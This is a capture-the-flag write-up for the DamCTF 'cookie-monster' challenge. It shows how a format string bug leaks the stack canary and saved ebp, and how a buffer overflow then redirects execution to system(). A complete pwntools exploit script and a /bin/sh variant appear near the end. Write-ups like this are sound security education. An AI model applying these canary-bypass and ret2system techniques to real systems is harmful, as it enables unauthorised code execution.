Do you like cookies? I like cookies. nc chals.damctf.xyz 31312 Author: BobbySinclusto 153 solves / 406 points
First, let's execute the binary:
There is 2 inputs: the name (hellllo) and the purchase (Stack). The name is printed back to the user, so there is maybe a format string vulnerability here:
$ nc chals.damctf.xyz 31312 Enter your name: %x.%x.%x.%x.%x.%x.%x.%x Hello 20.f7f8e580.8048592.f7f8e000.f7f8e000.ffffd2f8.252e7825.78252e78 Welcome to the bakery! ...
We have a format string exploit just here, it will be usefull later.
Now let's see the behavior of the program with the downloaded binary:
$ ./cookie-monster Enter your name: testset Hello testset Welcome to the bakery! Current menu: cat: cookies.txt: No such file or directory What would you like to purchase? AH Have a nice day!
Ha! It look likes it executes a system command to list the different items to purchase. Let's create this file:
$ echo -e "a\nb\nc" > cookies.txt $ ./cookie-monster Enter your name: work pls Hello work pls Welcome to the bakery! Current menu: a b c What would you like to purchase? IT WORKS Have a nice day!
Let's check the implemented securities in place with gdb-gef:
$ gdb ./cookie-monster gef➤ checksec [+] checksec for '/tmp/cookie-monster' Canary : ✓ NX : ✓ PIE : ✘ Fortify : ✘ RelRO : Partial
Great, there is no PIE, so the code addresses will not be randomized at each launch.
There are some of the other tests I did:
# This is a 32 bit binary so arguments will be pushed on the stack. $ file ./cookie-monster ./cookie-monster: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=998281a5f422a675de8dde267cefad19a8cef519, not stripped # You can't buffer overflow anything with the first input (it only gets 32 characters): ./cookie-monster Enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWelcome to the bakery! Current menu: a b c What would you like to purchase? Have a nice day! # But the second input is vulnerable to buffer overflow! ./cookie-monster Enter your name: a Hello a Welcome to the bakery! Current menu: a b c What would you like to purchase? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Have a nice day! *** stack smashing detected ***: terminated Aborted (core dumped)
Let's make a bit of reverse engineering before actually starting.
As always, I will be using Cutter for the disassembly.
Let's take a look at the main function:
Nothing interesting beside the bakery function.
This is the main flow of the program. We can see the fgets, printf and system functions being called here. We can see that the first fgets get 32 characters, and the second one gets 64 characters.
This is how the first
fgets is called:
fgets also stores the user input at
ebp - 0x2c. It will be usefull for our buffer overflow.
The "cat cookies.txt" string is located at
Let's do some exploits!
Let's first try to display the "cat cookies.txt" string using the format string vuln. We already know the address of the string (
0x080487ba) and we need the offset of our input in memory from
$ python2 -c 'print "AAAA%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x"' | ./cookie-monster Enter your name: Hello AAAA 20-f7f8e580- 8048592-f7f8e000-f7f8e000-ffffd328-41414141Welcome to the bakery! ... $ python2 -c 'print "AAAA%7$x"' | ./cookie-monster Enter your name: Hello AAAA41414141 Welcome to the bakery! ...
We found our string "AAAA" (
41414141) at offset 7. We can now use x/s to point to wherever we want in memory!
$ python2 -c 'print "\xba\x87\x04\x08%7$s"' | ./cookie-monster Enter your name: Hello cat cookies.txt Welcome to the bakery! ...
Cool, there is more things to do but it's a good start.
Here's what we will do from now in order to get a remote code execution:
eipwith the address of
systemcall in the
ebpvalue to retrieve it's address on the stack.
To leak those 2 values, we have to know their offset from
esp like we did to find were the buffer starts just before:
We jump just before the printf of our buffer is executed and dump the stack. At offset 7, we can see our buffer. We can then find
ebp by taking the 4 octets block just before saved eip, and find the Canary by comparing what are the data that have changed between 2 program execution.
(I count using packets of 4 octets each)
This part is pretty easy, we just have to find the offset from
ebp - 0xc (the buffer base address) to the saved EIP value:
$ gdb ./cookie-monster gef➤ disas bakery ... 0x080485c1 <+59>: push 0x20 0x080485c3 <+61>: lea eax,[ebp-0x2c] 0x080485c6 <+64>: push eax 0x080485c7 <+65>: call 0x8048410 <fgets@plt> # first fgets ... gef➤ b *0x080485c7 gef➤ run ... fgets@plt ( [sp + 0x0] = 0xffffd2cc → 0xf7e204a5 → <setbuf+21> add esp, 0x1c, [sp + 0x4] = 0x00000020 ) ... gef➤ i frame Stack level 0, frame at 0xffffd300: eip = 0x80485c7 in bakery; saved eip = 0x80486b4 called by frame at 0xffffd320 Arglist at 0xffffd2f8, args: Locals at 0xffffd2f8, Previous frame's sp is 0xffffd300 Saved registers: ebx at 0xffffd2f4, ebp at 0xffffd2f8, eip at 0xffffd2fc gef➤ p/u 0xffffd2fc - 0xffffd2cc $1 = 48
There is a offset of 48 octets before we start to overwrite EIP.
Ok, let's see what we have for now:
esp: 15 packets of 4 octets
esp: 18 packets of 4 octets
eipfrom buffer: 48 octets
The exploit input will be something like that:
first input: %15$x.%18$x second input: <padding><Canary><padding><system call address><saved ebp><command>
Note that we have only 7 characters left for the command at the end.
Here is the code to pwn this binary:
#!/bin/python3 from pwn import * def reverseAddress(address, increase=False, add=0): if increase: address = hex(int(address, base=16) + add)[2:] address = [address[i:i+2] for i in range(0, 8, 2)][::-1] # little indian mode address = " ".join(address) address = bytes.fromhex(address) return address context.update(arch='i386', os='linux') if args.REMOTE: log.info("Connecting to distant server") p = remote("chals.damctf.xyz", 31312) else: log.info("Executing local binary") p = process("./cookie-monster") print(p.recv(1000).decode()) # Enter your name # send format string to retrieve canary value payload = b"%15$x.%18$x" p.sendline(payload) # canary + saved esp line = p.recvline()[6:23].decode() # receive canary + saved esp value print(line) canary = reverseAddress(line[0:8]) # canary s_ebp = reverseAddress(line[9:17], True, -4) # saved esp print(p.recvline().decode()) # receive menu # payload to bypass canary payload = b"A" * 32 payload+= canary payload+= b"A" * 12 payload+= reverseAddress("0804860c") payload+= s_ebp payload+= b"cat fl*" p.sendline(payload) p.interactive()
TLDR: This challenge was really great, and pretty hard for me, because this was the first time I used the format string vulnerability + buffer overflow in order to bypass canary and ASLR on a remote machine!
Just when I was writing the writeup, I took a second look at the binary and found something really interesting:
Yes. Instead of pushing our command on the stack and calculating it's address by leaking the
ebp register and by applying an offset, We could have just pushed the address of this "/bin/sh" string. No more headhashes.
Here is the code snipped for the new payload, much easer:
payload = b"A" * 32 payload+= canary payload+= b"A" * 12 payload+= reverseAddress("0804860c") payload+= reverseAddress("08048770")
Thank you for reading!